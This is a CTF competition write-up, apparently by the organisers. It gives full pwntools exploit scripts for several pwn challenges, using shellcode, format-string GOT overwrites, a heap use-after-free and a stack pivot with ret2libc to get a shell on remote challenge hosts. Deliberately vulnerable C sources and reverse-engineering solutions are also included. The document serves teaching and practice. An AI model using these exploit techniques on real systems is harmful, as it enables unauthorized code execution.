Pwn math_game 预计解出人数:10+
实际解出人数:20
welcome函数是输出一堆字符串,按回车进入math1
伪随机数生成两个数,要求输入两个数乘积
有5秒的时间,超时则无效
此题考查的是常规的pwntools函数使用,这里用eval快速计算
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *from struct import packfrom ctypes import * filename='./math' debug = 1 if debug: io = process(filename)else : io = remote('' ,)def s (a ) : io.send(a)def sa (a, b ) : io.sendafter(a, b)def sl (a ) : io.sendline(a)def sla (a, b ) : io.sendlineafter(a, b)def r () : return io.recv()def pr () : print (io.recv())def ru (a ) : return io.recvuntil(a)def inter () : io.interactive() def get_addr (): return u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) ru("challenge." ) s('\n' ) s=io.recvuntil(" = " , drop=True ) s1=eval (s) sl(str (s1).encode()) inter()
not_checkin 预计解出人数:6
实际解出人数:15
根据题目描述和下面的main,很明显需要整数溢出绕过负号
根据32位有符号整数范围,很容易想到需要输入2147483651
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * filename='./not_checkin' elf = ELF(filename) context(arch = elf.arch,os = 'linux' ) debug = 0 if debug: io = process(filename)else : io = remote('124.221.156.93' ,32818 ) io.sendline(str (2147483651 )) io.interactive()
题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <stdio.h> #include <stdlib.h> #include <string.h> void init (int argc, const char **argv, const char **envp) { setbuf(stdin ,0 ); setbuf(stdout ,0 ); setbuf(stderr ,0 ); }int main (int argc, const char **argv, const char **envp) { char s[60 ]; int v5; init(argc, argv, envp); puts ("Welcome to 2025 ZJPCTF X ZJGSUCTF, this is a pwn checkin game." ); printf ("Please input a number to getshell: " ); if (fgets(s, 50 , stdin )) { if (s[0 ] == '-' ) { puts ("Detected negative sign." ); return 0 ; } else { v5 = atoi(s); if (v5 == -2147483645 ) { system("/bin/sh" ); } else { puts ("You are wrong." ); } return 0 ; } } else { puts ("Invalid input." ); return 0 ; } }
strange_shellcode 预计解出人数:3
实际解出人数:1
strange的点在于把rsp和rbp置零,也就是说直接用系统生成的shellcode没用
因为题目中已经把rcx和rdx置零了,考虑直接用ret2syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from struct import packfrom ctypes import * filename='./strange_shellcode' elf = ELF(filename) context(arch = elf.arch,log_level = 'debug' ,os = 'linux' ) debug = 0 if debug: io = process(filename)else : io = remote('node.vnteam.cn' ,45311 )def s (a ) : io.send(a)def sa (a, b ) : io.sendafter(a, b)def sl (a ) : io.sendline(a)def sla (a, b ) : io.sendlineafter(a, b)def r () : return io.recv()def pr () : print (io.recv())def ru (a ) : return io.recvuntil(a)def inter () : io.interactive()def debug (): gdb.attach(io)def b (addr ): bk='b *' + str (addr) attach(io,bk) def get_addr (): return u32(io.recv()[0 :4 ]) shellcode=asm(''' mov al,59 add rdi,8 syscall ''' )+b'/bin/sh\x00' s(shellcode) inter()
当然也可以考虑恢复栈后写一个read的shellcode,然后再利用系统生成的shellcode
把 rsp 移到后面可读写的位置当 stack
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 shellcode=asm(''' mov rsp,rdi add rsp,0x50 mov rsi,rsp mov rdx,rdi xor rdi,rdi syscall call rsi ''' ) s(shellcode)print (len (shellcode)) shellcode=asm(shellcraft.sh()) s(shellcode) inter()
源码使用内联汇编
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <unistd.h> void init () { setbuf(stdin , NULL ); setbuf(stdout , NULL ); setbuf(stderr , NULL ); } __attribute__((naked)) void exploit (void *buf) { __asm__( "endbr64;\n" "push %rbp;\n" "mov %rsp, %rbp;\n" "mov %rdi, -0x30(%rbp);\n" "mov -0x30(%rbp), %rdi;\n" "xor %rbp, %rbp;\n" "xor %rsp, %rsp;\n" "xor %rsi, %rsi;\n" "xor %rax, %rax;\n" "xor %rcx, %rcx;\n" "xor %rdx, %rdx;\n" "jmp *%rdi;\n" ); }int main (int argc, const char **argv, const char **envp) { void *buf; init(); puts ("Hello ZJPCTF X ZJGSUCTF ctfers!" ); puts ("Legend says there was a bug hidden in a mysterious memory page." ); puts ("ZJPCTF ctfers tried every trick, but it was the ZJGSUCTF ctfers who whispered:" ); puts ("\"Try jumping to it... literally.\" Can you uncover their secret?" ); buf = mmap((void *)0x202505000 , 0x1000 , PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); if (buf == MAP_FAILED) { perror("mmap" ); exit (1 ); } read(0 , buf, 0x14 ); mprotect(buf, 0x1000 , PROT_READ | PROT_WRITE | PROT_EXEC); exploit(buf); return 0 ; }
预计解出人数:1
实际解出人数:0
什么保护都没开(实际上是操作失误但是不想改了,看看能不能有非预期)
key是全局变量,需要用magic里面的格式化字符串漏洞去修改
后续有一个栈溢出,刚好覆盖到返回地址,可以考虑修改返回地址重新利用格式化字符串修改printf为system,再读入一次/bin/sh即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *from struct import packfrom ctypes import * filename='./format_master' elf = ELF(filename) context(arch = elf.arch,log_level = 'debug' ,os = 'linux' ) debug = 0 if debug: io = process(filename)else : io = remote('124.221.156.93' ,32817 )def s (a ) : io.send(a)def sa (a, b ) : io.sendafter(a, b)def sl (a ) : io.sendline(a)def sla (a, b ) : io.sendlineafter(a, b)def r () : return io.recv()def pr () : print (io.recv())def ru (a ) : return io.recvuntil(a)def inter () : io.interactive()def debug (): gdb.attach(io)def b (addr ): bk='b *' + str (addr) attach(io,bk)def get_addr (): return u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) key=0x600d2c leave_ret=0x400774 ret=0x400549 main_addr = elf.sym["main" ] puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] start_addr = elf.sym["_start" ] payload1=fmtstr_payload(6 ,{key:22 }) sla("Tell me what's your name?" ,payload1) payload2=b'a' *0x38 +p64(start_addr) sa('Tell me more about you.' ,payload2) payload3=fmtstr_payload(6 ,{elf.got['printf' ]:elf.sym['system' ]}) sa("Tell me what's your name?" ,payload3) payload4=b'a' *0x38 +p64(start_addr) sa('more about you' ,payload4) payload5='/bin/sh\x00' sa("Tell me what's your name?" ,payload5) inter()
也可以考虑栈迁移,但是可能会更麻烦一些
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 int key; void init() { setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); }int fake_flag(){ echo system("echo flag" ); }int magic() { char buf[256 ]; puts("Welcome to 2025 ZJPCTF X ZJGSUCTF." ); puts("Tell me what's your name?" ); read(0 , buf, 0x100 ); printf("Hello," ); return printf(buf); }int main(int argc, const char **argv, const char **envp) { char buf[48 ]; init(); magic(); if (key == 22 ) { puts("Tell me more about you." ); read(0 , buf, 0x40 ); } else { puts("You are not allow in." ); puts("Please try again later." ); } return 0 ; }
ezheap 预计解出人数:2
实际解出人数:0
经典增删改查
delete存在UAF漏洞
一次create经过两次malloc,分别是struct和content
show的时候是函数指针加content,将ptr[i][1]处原先的print_content函数改成system,ptr[v1]改写成bin/sh的地址,这样在执行show的时候就会执行system(’/bin/sh’)
由于fastbin是FILO,先写/bin/sh再写system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import * filename='ezheap' elf=ELF(filename) context(arch = elf.arch,log_level = 'debug' ,os = 'linux' ) debug = 0 if debug: p = process(filename)else : p = remote('124.221.156.93' ,32820 )def add (size,content ): p.recvuntil("Your choice: " ) p.sendline("1" ) p.recvuntil("Please input size: " ) p.sendline(str (size)) p.recvuntil("Please input content: " ) p.send(content)def delete (index ): p.recvuntil("Your choice: " ) p.sendline("2" ) p.recvuntil("Please input list index: " ) p.sendline(str (index))def show (index ): p.recvuntil("Your choice: " ) p.sendline("3" ) p.recvuntil("Please input list index: " ) p.sendline(str (index)) bin_sh=0x602010 system=elf.plt['system' ] add(0x80 ,"aaaa" ) add(0x80 ,"bbbb" ) delete(0 ) delete(1 ) add(0x10 ,p64(bin_sh) + p64(system)) show(0 ) p.interactive()
ezstack 预计解出人数:1
实际解出人数:1
常规栈迁移
刚好能溢出到返回地址
本质是栈迁移+ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *from struct import packimport randomimport time filename='./ezstack' elf = ELF(filename) libc = ELF("./libc.so.6" ) context(arch = elf.arch,log_level = 'debug' ,os = 'linux' ) debug = 0 if debug: io = process(filename)else : io = remote('124.221.156.93' ,32835 )def s (a ) : io.send(a)def sa (a, b ) : io.sendafter(a, b)def sl (a ) : io.sendline(a)def sla (a, b ) : io.sendlineafter(a, b)def r () : return io.recv()def pr () : print (io.recv())def ru (a ) : return io.recvuntil(a)def inter () : io.interactive()def debug (): gdb.attach(io)def get_addr (): return u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb () : return base + libc.sym['system' ], base + next (libc.search(b'/bin/sh\x00' )) bss=elf.bss()+0x500 ret=0x400519 leave_ret=0x4006c6 pop_rdi=0x400763 puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] read=0x4006ab pop_rbp = 0x4005c0 payload = b'a' * 0x30 + p64(bss + 0x30 ) + p64(read) sa(b"This is a stack migration challenge.Have a good time." , payload) payload2 = p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(pop_rbp) + p64(bss + 0x300 + 0x30 ) + p64(read) payload2 += p64(bss - 8 ) + p64(leave_ret) s(payload2) base = get_addr() - libc.sym['puts' ]print (hex (base)) system, bin_sh = get_sb() payload3 = (p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(ret) + p64(system)).ljust(0x30 , b'\x00' ) payload3+=p64(bss + 0x300 - 8 ) + p64(leave_ret) s(payload3) inter()
Re 逆向的本质 预期解出人数:20+
实际解出人数:58
故事里的“反向绽放”,“从右至左”,“相反轨迹”都在提示将字符串倒置
直接python倒置字符串或者手动翻转也行
1 2 3 s='}detacitsihpos_3b_ot_tub_llik_dn@_thg1f_ot_ton_s1_esrever_f0_ecn3sse_ehT{galf' print (s[::-1 ]) flag{The_ess3nce_0f_reverse_1s_not_to_f1ght_@nd_kill_but_to_b3_sophisticated}
Unpack 预期解出人数:10+
实际解出人数:32
识别为upx壳,但无法直接upx -d
010editor 打开程序,把里面的ubx都改为UPX
用upx进行脱壳
得到加密逻辑
写脚本进行破解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 flag{Upx_1s_n0t_d1fficult}#include <stdlib.h> #include <string.h> #include <iostream> #include <time.h> #include <Windows.h> using namespace std;unsigned char ida_chars[] = {0x6D , 0x68 , 0x64 , 0x69 , 0x70 , 0x51 , 0x75 , 0x76 , 0x54 , 0x35 ,0x76 , 0x51 , 0x65 , 0x34 , 0x71 , 0x51 , 0x6F , 0x35 , 0x63 , 0x68 ,0x62 , 0x67 , 0x70 , 0x62 , 0x7F , 0x79 , 0x00 , 0x00 , 0x0B , 0x04 ,0x05 , 0x0E };int main () { for (short i = 0 ; i < 26 ;i++){ printf ("%c" , (int )((unsigned char )ida_chars[i] ^ ida_chars[i % 4 + 28 ])); } return 0 ; }
非预期
HarRE 预期解出人数:10+
实际解出人数:2
拿到hap文件,得知是鸿蒙app安装包,改后缀为zip后解压
在ets文件夹下面找到abc文件,然后使用abc-decompiler 进行反编译,entry/src/main/ets/pages下找到主逻辑
可以看到customBase64Encode把inputText进行了编码,然后在变量中找到码表
然后就能解出flag
1 flag{Oh_y0u_knOw_the_Harmony1!!}
string大法直接非预期
LoginSystem 预期解出人数:0
实际解出人数:3
两个算法很明显,也没有用混淆和jni,so层魔改的话会更加难以识别
魔改的base64算法加密username,具体魔改点为把加密后的数据中间两位调换
学弟用ai写的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 def decode_custom_base64 (s ): BASE64_TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" table = {char: idx for idx, char in enumerate (BASE64_TABLE)} bytes_list = [] s = s.rstrip('=' ) for i in range (0 , len (s), 4 ): chunk = s[i:i + 4 ].ljust(4 , '=' ) c1, c2, c3, c4 = chunk v1 = table.get(c1, 0 ) v2 = table.get(c2, 0 ) v3 = table.get(c3, 0 ) v4 = table.get(c4, 0 ) byte1 = (v1 << 2 ) | ((v3 >> 4 ) & 0x03 ) byte2 = ((v3 & 0x0F ) << 4 ) | ((v2 >> 2 ) & 0x0F ) byte3 = ((v2 & 0x03 ) << 6 ) | v4 if c2 == '=' : bytes_list.append(byte1) elif c4 == '=' : bytes_list.append(byte1) bytes_list.append(byte2) else : bytes_list.append(byte1) bytes_list.append(byte2) bytes_list.append(byte3) return bytes (bytes_list) encoded_str = "aFj5YITya42wdRzuZIHwM5Wk" decoded_bytes = decode_custom_base64(encoded_str)print (f"Decoded: {decoded_bytes} " )
rc4魔改部分为把原来的异或操作改为加操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 def rc4 (data, key ): S = list (range (256 )) j = 0 out = [] for i in range (256 ): j = (j + S[i] + key[i % len (key)]) % 256 S[i], S[j] = S[j], S[i] i = j = 0 for char in data: i = (i + 1 ) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] char -= S[(S[i] + S[j])%256 ] out.append(char% 256 ) return bytes (out) a=[14 , 50 , -82 , 75 , -125 , 55 , -112 , 85 , 99 , -56 , 97 , -82 , 69 , 61 , -2 , -113 , -99 , 48 ]for i in range (len (a)): if a[i]<0 : a[i]+=256 data = bytes (a) key = b'j1ya22kn0w4ndr01nd' decrypted = rc4(data, key)print (decrypted)
flag{j1ya22kn0w4ndr01nd_andro1nd14d1ffcult}
IosRE 预期解出人数:3
实际解出人数:1
被学弟找到之前写的文章秒了
https://j1ya-22.github.io/2025/04/11/ios%E9%80%86%E5%90%91%E6%95%B4%E7%90%86/
ipa文件,首先解压
UnDebuggable即我们要逆向的文件
在buttonClick函数中找到比对处
可以看到,比对逻辑是把我们的输入内容(theTextField)和theLabel.text的内容进行相同检测
所以下一步就是对theLabel进行交叉引用,看看哪些部分对label进行了改动
可以看到viewDidLoad里面同样引用了theLabel,我们进去看看
这里对unk_10000F541字节逐位和Ios进行了异或操作,所以解密就是反过来操作
1 flag {Reverse_f0r_I0s_1s_InteresTing}
babyz3 明确的z3,但是下面的方程导致例如s[0]和s[2]可以互换,这样考虑的话这道题至少有8个flag
一直以为解是唯一的,害得师傅们卡了好久,这里给所有卡住的师傅磕一个
下面只是其中一个方程得到的一个flag,linux下运行后输入得到check ok的都是对的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import libnumfrom z3 import *for i in (range (33 , 128 )): x = Solver() ans = [] s = [BitVec(('%d' % i), 32 ) for i in range (5 )] x.add(s[0 ] & 0xff == i) x.add((s[0 ] & 0xffff ) * (s[0 ] >> 16 ) == 342772773 , (s[0 ] & 0xffff ) + (s[0 ] >> 16 ) == 39526 , s[1 ] - s[2 ] == 1005712381 , (s[1 ] & 0xffff ) + (s[1 ] >> 16 ) == 56269 , (s[2 ] & 0xffff ) - (s[2 ] >> 16 ) == 15092 , ((s[1 ]) & 0xff ) * ((s[2 ]) & 0xff ) == 10710 , ((s[1 ] >> 16 ) & 0xff ) * ((s[2 ] >> 16 ) & 0xff ) == 12051 , ((s[1 ]) >> 24 ) + ((s[2 ]) >> 24 ) == 172 , (s[3 ] & 0xffff ) * (s[3 ] >> 16 ) == 171593250 , (s[3 ] & 0xffff ) + (s[3 ] >> 16 ) == 26219 , (s[4 ] & 0xffff ) * (s[4 ] >> 16 ) == 376306868 , (s[4 ] & 0xffff ) + (s[4 ] >> 16 ) == 40341 ) if x.check() == sat: model = x.model() for j in s: print (libnum.n2s(model[j].as_long())[::-1 ].decode(), end='' ) print ()